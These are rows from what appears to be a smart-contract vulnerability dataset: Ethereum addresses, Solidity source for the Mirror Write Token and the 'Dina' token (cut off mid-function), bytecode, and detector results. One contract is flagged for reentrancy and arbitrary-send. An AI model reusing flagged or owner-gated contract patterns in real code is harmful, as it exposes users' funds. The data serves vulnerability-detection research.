565b8060051b6040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0603f83011681018181108582111715611c1357611c13611f0c565b604052828152858101935084860182860187018a1015611c3257600080fd5b600095505b83861015611c5c57611c4881611a8f565b855260019590950194938601938601611c37565b5098975050505050505050565b600060208284031215611c7b57600080fd5b81356113b781611f50565b600060208284031215611c9857600080fd5b81516113b781611f50565b600060208284031215611cb557600080fd5b5035919050565b600080600060608486031215611cd157600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b81811015611d1757858101830151858201604001528201611cfb565b81811115611d29576000604083870101525b50601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016929092016040019392505050565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611dad5784516001600160a01b031683529383019391830191600101611d88565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611de157611de1611eae565b500190565b600082611e1c577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b500490565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611e5957611e59611eae565b500290565b600082821015611e7057611e70611eae565b500390565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611ea757611ea7611eae565b5060010190565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6001600160a01b03811681146105dc57600080fd5b80151581146105dc57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122055cde9f6861df223ea00ca3307c68a774501f19e45caa508e0e0e074d7bc6c9464736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,125 |
0x622236bb180256b6ae1a935dae08dc0356141632
|
/**
*Submitted for verification at Etherscan.io on 2021-02-05
*/
//SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.6.8;
pragma experimental ABIEncoderV2;
interface IMirrorWriteToken {
function register(string calldata label, address owner) external;
function registrationCost() external view returns (uint256);
// ============ ERC20 Interface ============
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
function nonces(address owner) external view returns (uint256);
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
/**
* @title MirrorWriteToken
* @author MirrorXYZ
*
* An ERC20 that grants access to the ENS namespace through a
* burn-and-register model.
*/
contract MirrorWriteToken is IMirrorWriteToken {
using SafeMath for uint256;
// ============ Immutable ERC20 Attributes ============
string public constant override symbol = "WRITE";
string public constant override name = "Mirror Write Token";
uint8 public constant override decimals = 18;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH =
0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
bytes32 public immutable override DOMAIN_SEPARATOR;
// ============ Immutable Registration Configuration ============
uint256 internal constant REGISTRATION_COST = 1e18;
// ============ Mutable Ownership Configuration ============
address private _owner;
/**
* @dev Allows for two-step ownership transfer, whereby the next owner
* needs to accept the ownership transfer explicitly.
*/
address private _nextOwner;
// ============ Mutable Registration Configuration ============
bool public registrable = true;
address public ensRegistrar;
// ============ Mutable ERC20 Attributes ============
uint256 public override totalSupply;
mapping(address => uint256) public override balanceOf;
mapping(address => mapping(address => uint256)) public override allowance;
mapping(address => uint256) public override nonces;
// ============ Events ============
event Registered(string label, address owner);
event Mint(address indexed to, uint256 amount);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
// ============ Modifiers ============
modifier canRegister() {
require(registrable, "MirrorWriteToken: registration is closed.");
_;
}
modifier onlyOwner() {
require(isOwner(), "MirrorWriteToken: caller is not the owner.");
_;
}
modifier onlyNextOwner() {
require(
isNextOwner(),
"MirrorWriteToken: current owner must set caller as next owner."
);
_;
}
// ============ Constructor ============
constructor() public {
uint256 chainId = _getChainId();
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
),
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)
)
);
_owner = tx.origin;
emit OwnershipTransferred(address(0), _owner);
}
// ============ Minting ============
/**
* @dev Function to mint tokens
* @param to The address that will receive the minted tokens.
* @param amount The amount of tokens to mint.
*/
function mint(address to, uint256 amount) external onlyOwner {
_mint(to, amount);
emit Mint(to, amount);
}
// ============ Registration ============
/**
* @dev Returns the cost of registration in tokens with full decimals.
*/
function registrationCost() external view override returns (uint256) {
return REGISTRATION_COST;
}
/**
* Burns the sender's invite tokens and registers an ENS given label to a given address.
* @param label The user's ENS label, e.g. "dev" for dev.mirror.xyz.
* @param owner The address that should own the label.
*/
function register(string calldata label, address owner)
external
override
canRegister
{
_burn(msg.sender, REGISTRATION_COST);
emit Registered(label, owner);
IMirrorENSRegistrar(ensRegistrar).register(label, owner);
}
// ============ Ownership ============
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Returns true if the caller is the next owner.
*/
function isNextOwner() public view returns (bool) {
return msg.sender == _nextOwner;
}
/**
* @dev Allows a new account (`newOwner`) to accept ownership.
* Can only be called by the current owner.
*/
function transferOwnership(address nextOwner_) external onlyOwner {
require(
nextOwner_ != address(0),
"MirrorWriteToken: next owner is the zero address."
);
_nextOwner = nextOwner_;
}
/**
* @dev Cancel a transfer of ownership to a new account.
* Can only be called by the current owner.
*/
function cancelOwnershipTransfer() external onlyOwner {
delete _nextOwner;
}
/**
* @dev Transfers ownership of the contract to the caller.
* Can only be called by a new potential owner set by the current owner.
*/
function acceptOwnership() external onlyNextOwner {
delete _nextOwner;
emit OwnershipTransferred(_owner, msg.sender);
_owner = msg.sender;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() external onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
// ============ Configuration Management ============
/**
* Allows the owner to change the ENS Registrar address.
*/
function setENSRegistrar(address ensRegistrar_) external onlyOwner {
ensRegistrar = ensRegistrar_;
}
/**
* Allows the owner to pause registration.
*/
function setRegistrable(bool registrable_) external onlyOwner {
registrable = registrable_;
}
// ============ ERC20 Spec ============
function _mint(address to, uint256 value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint256 value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(
address owner,
address spender,
uint256 value
) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(
address from,
address to,
uint256 value
) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint256 value)
external
override
returns (bool)
{
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint256 value)
external
override
returns (bool)
{
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
) external override returns (bool) {
if (allowance[from][msg.sender] != uint256(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(
value
);
}
_transfer(from, to, value);
return true;
}
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external override {
require(deadline >= block.timestamp, "MirrorWriteToken: EXPIRED");
bytes32 digest =
keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
keccak256(
abi.encode(
PERMIT_TYPEHASH,
owner,
spender,
value,
nonces[owner]++,
deadline
)
)
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(
recoveredAddress != address(0) && recoveredAddress == owner,
"MirrorWriteToken: INVALID_SIGNATURE"
);
_approve(owner, spender, value);
}
function _getChainId() private pure returns (uint256 chainId) {
assembly {
chainId := chainid()
}
}
}
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMath {
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x, "ds-math-add-overflow");
}
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x, "ds-math-sub-underflow");
}
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow");
}
}
interface IENSReverseRegistrar {
function claim(address _owner) external returns (bytes32);
function claimWithResolver(address _owner, address _resolver)
external
returns (bytes32);
function setName(string calldata _name) external returns (bytes32);
function node(address _addr) external pure returns (bytes32);
}
interface IMirrorENSRegistrar {
function changeRootNodeOwner(address newOwner_) external;
function register(string calldata label_, address owner_) external;
function updateENSReverseRegistrar() external;
}
|
0x608060405234801561001057600080fd5b50600436106101ae5760003560e01c8063715018a6116100ee578063c2c589f011610097578063dc4a7f7f11610071578063dc4a7f7f1461031d578063dd62ed3e14610325578063ed459df214610338578063f2fde38b14610340576101ae565b8063c2c589f0146102e2578063d2d71d5c146102f7578063d505accf1461030a576101ae565b80638f32d59b116100c85780638f32d59b146102bf57806395d89b41146102c7578063a9059cbb146102cf576101ae565b8063715018a61461029c57806379ba5097146102a45780637ecebe00146102ac576101ae565b806330adf81f1161015b57806340c10f191161013557806340c10f191461025b57806343fb5f691461026e57806355a8deab1461028157806370a0823114610289576101ae565b806330adf81f14610236578063313ce5671461023e5780633644e51514610253576101ae565b80631e59c5291161018c5780631e59c5291461020657806323452b9c1461021b57806323b872dd14610223576101ae565b806306fdde03146101b3578063095ea7b3146101d157806318160ddd146101f1575b600080fd5b6101bb610353565b6040516101c891906110a0565b60405180910390f35b6101e46101df366004610ee6565b61038c565b6040516101c89190610ff9565b6101f96103a3565b6040516101c89190611004565b610219610214366004610f30565b6103a9565b005b6102196104bd565b6101e4610231366004610e33565b610500565b6101f96105b8565b6102466105dc565b6040516101c89190611369565b6101f96105e1565b610219610269366004610ee6565b610605565b61021961027c366004610f10565b610678565b6101e46106e6565b6101f9610297366004610ddd565b610707565b610219610719565b610219610794565b6101f96102ba366004610ddd565b61082e565b6101e4610840565b6101bb610851565b6101e46102dd366004610ee6565b61088a565b6102ea610897565b6040516101c89190610fe5565b610219610305366004610ddd565b6108a6565b610219610318366004610e73565b6108f9565b6101f9610a85565b6101f9610333366004610dff565b610a91565b6101e4610aae565b61021961034e366004610ddd565b610abf565b6040518060400160405280601281526020017f4d6972726f7220577269746520546f6b656e000000000000000000000000000081525081565b6000610399338484610b38565b5060015b92915050565b60035481565b60015474010000000000000000000000000000000000000000900460ff166103ec5760405162461bcd60e51b81526004016103e390611278565b60405180910390fd5b6103fe33670de0b6b3a7640000610ba0565b7f50f74ca45caac8020b8d891bd13ea5a2d79564986ee6a839f0d914896388322d8383836040516104319392919061105f565b60405180910390a16002546040517f1e59c5290000000000000000000000000000000000000000000000000000000081526001600160a01b0390911690631e59c529906104869086908690869060040161105f565b600060405180830381600087803b1580156104a057600080fd5b505af11580156104b4573d6000803e3d6000fd5b50505050505050565b6104c5610840565b6104e15760405162461bcd60e51b81526004016103e39061130c565b6001805473ffffffffffffffffffffffffffffffffffffffff19169055565b6001600160a01b03831660009081526005602090815260408083203384529091528120547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff146105a3576001600160a01b038416600090815260056020908152604080832033845290915290205461057e908363ffffffff610c4216565b6001600160a01b03851660009081526005602090815260408083203384529091529020555b6105ae848484610c65565b5060019392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b7fbb3b02f70d0455a66f398878e70aa6ad732e2392117f0766ce164665eac3b02d81565b61060d610840565b6106295760405162461bcd60e51b81526004016103e39061130c565b6106338282610d15565b816001600160a01b03167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968858260405161066c9190611004565b60405180910390a25050565b610680610840565b61069c5760405162461bcd60e51b81526004016103e39061130c565b6001805491151574010000000000000000000000000000000000000000027fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff909216919091179055565b60015474010000000000000000000000000000000000000000900460ff1681565b60046020526000908152604090205481565b610721610840565b61073d5760405162461bcd60e51b81526004016103e39061130c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a36000805473ffffffffffffffffffffffffffffffffffffffff19169055565b61079c610aae565b6107b85760405162461bcd60e51b81526004016103e39061112a565b6001805473ffffffffffffffffffffffffffffffffffffffff191690556000805460405133926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff191633179055565b60066020526000908152604090205481565b6000546001600160a01b0316331490565b6040518060400160405280600581526020017f575249544500000000000000000000000000000000000000000000000000000081525081565b6000610399338484610c65565b6002546001600160a01b031681565b6108ae610840565b6108ca5760405162461bcd60e51b81526004016103e39061130c565b6002805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b428410156109195760405162461bcd60e51b81526004016103e3906112d5565b6001600160a01b038716600090815260066020908152604080832080546001810190915590517fbb3b02f70d0455a66f398878e70aa6ad732e2392117f0766ce164665eac3b02d92610997927f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9928d928d928d9290918d910161100d565b604051602081830303815290604052805190602001206040516020016109be929190610faf565b6040516020818303038152906040528051906020012090506000600182868686604051600081526020016040526040516109fb9493929190611041565b6020604051602081039080840390855afa158015610a1d573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811615801590610a535750886001600160a01b0316816001600160a01b0316145b610a6f5760405162461bcd60e51b81526004016103e39061121b565b610a7a898989610b38565b505050505050505050565b670de0b6b3a764000090565b600560209081526000928352604080842090915290825290205481565b6001546001600160a01b0316331490565b610ac7610840565b610ae35760405162461bcd60e51b81526004016103e39061130c565b6001600160a01b038116610b095760405162461bcd60e51b81526004016103e3906111be565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b0380841660008181526005602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610b93908590611004565b60405180910390a3505050565b6001600160a01b038216600090815260046020526040902054610bc9908263ffffffff610c4216565b6001600160a01b038316600090815260046020526040902055600354610bf5908263ffffffff610c4216565b6003556040516000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c36908590611004565b60405180910390a35050565b8082038281111561039d5760405162461bcd60e51b81526004016103e3906110f3565b6001600160a01b038316600090815260046020526040902054610c8e908263ffffffff610c4216565b6001600160a01b038085166000908152600460205260408082209390935590841681522054610cc3908263ffffffff610da316565b6001600160a01b0380841660008181526004602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b93908590611004565b600354610d28908263ffffffff610da316565b6003556001600160a01b038216600090815260046020526040902054610d54908263ffffffff610da316565b6001600160a01b0383166000818152600460205260408082209390935591519091907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c36908590611004565b8082018281101561039d5760405162461bcd60e51b81526004016103e390611187565b80356001600160a01b038116811461039d57600080fd5b600060208284031215610dee578081fd5b610df88383610dc6565b9392505050565b60008060408385031215610e11578081fd5b610e1b8484610dc6565b9150610e2a8460208501610dc6565b90509250929050565b600080600060608486031215610e47578081fd5b8335610e5281611377565b92506020840135610e6281611377565b929592945050506040919091013590565b600080600080600080600060e0888a031215610e8d578283fd5b610e978989610dc6565b9650610ea68960208a01610dc6565b95506040880135945060608801359350608088013560ff81168114610ec9578384fd5b9699959850939692959460a0840135945060c09093013592915050565b60008060408385031215610ef8578182fd5b610f028484610dc6565b946020939093013593505050565b600060208284031215610f21578081fd5b81358015158114610df8578182fd5b600080600060408486031215610f44578283fd5b833567ffffffffffffffff80821115610f5b578485fd5b81860187601f820112610f6c578586fd5b8035925081831115610f7c578586fd5b876020848301011115610f8d578586fd5b602081019550505080925050610fa68560208601610dc6565b90509250925092565b7f190100000000000000000000000000000000000000000000000000000000000081526002810192909252602282015260420190565b6001600160a01b0391909116815260200190565b901515815260200190565b90815260200190565b9586526001600160a01b0394851660208701529290931660408501526060840152608083019190915260a082015260c00190565b93845260ff9290921660208401526040830152606082015260800190565b6000604082528360408301528385606084013780606085840101526060601f19601f86011683010190506001600160a01b0383166020830152949350505050565b6000602080835283518082850152825b818110156110cc578581018301518582016040015282016110b0565b818111156110dd5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526015908201527f64732d6d6174682d7375622d756e646572666c6f770000000000000000000000604082015260600190565b6020808252603e908201527f4d6972726f725772697465546f6b656e3a2063757272656e74206f776e65722060408201527f6d757374207365742063616c6c6572206173206e657874206f776e65722e0000606082015260800190565b60208082526014908201527f64732d6d6174682d6164642d6f766572666c6f77000000000000000000000000604082015260600190565b60208082526031908201527f4d6972726f725772697465546f6b656e3a206e657874206f776e65722069732060408201527f746865207a65726f20616464726573732e000000000000000000000000000000606082015260800190565b60208082526023908201527f4d6972726f725772697465546f6b656e3a20494e56414c49445f5349474e415460408201527f5552450000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526029908201527f4d6972726f725772697465546f6b656e3a20726567697374726174696f6e206960408201527f7320636c6f7365642e0000000000000000000000000000000000000000000000606082015260800190565b60208082526019908201527f4d6972726f725772697465546f6b656e3a204558504952454400000000000000604082015260600190565b6020808252602a908201527f4d6972726f725772697465546f6b656e3a2063616c6c6572206973206e6f742060408201527f746865206f776e65722e00000000000000000000000000000000000000000000606082015260800190565b60ff91909116815260200190565b6001600160a01b038116811461138c57600080fd5b5056fea2646970667358221220c41de69de3ee288af73e59634ec6c1652fcaec8d705aea7b46223fac4a8be41f64736f6c63430006080033
|
{"success": true, "error": null, "results": {}}
| 8,126 |
0x727128ea2d21270fbb9ce20f7ee517fb44079aa9
|
/**
*Submitted for verification at Etherscan.io on 2022-05-03
*/
/*
Telegram : @DinaETH
Website : www.DinaETH.com
0 BUY / SELL TAX
1% BUY LIMIT ON LAUNCH
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Dina is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Dina";
string private constant _symbol = "DINA";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 0;
//Sell Fee
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 0;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping (address => bool) public preTrader;
mapping(address => uint256) private cooldown;
address payable private _opAddress = payable(0x8cE94748a04F904B4c66CC2F0511E614555BF6EE);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000000 * 10**9; //1
uint256 public _maxWalletSize = 20000000000 * 10**9; //2
uint256 public _swapTokensAtAmount = 200000000 * 10**9; //0.1
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
// Uniswap V2 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_opAddress] = true;
preTrader[owner()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount <= _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = false;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = 0;
_taxFee = 0;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = 0;
_taxFee = 0;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_opAddress.transfer(amount);
}
function AllowTrading() public onlyOwner {
tradingOpen = true;
}
function manualswap() external {
require(_msgSender() == _opAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _opAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
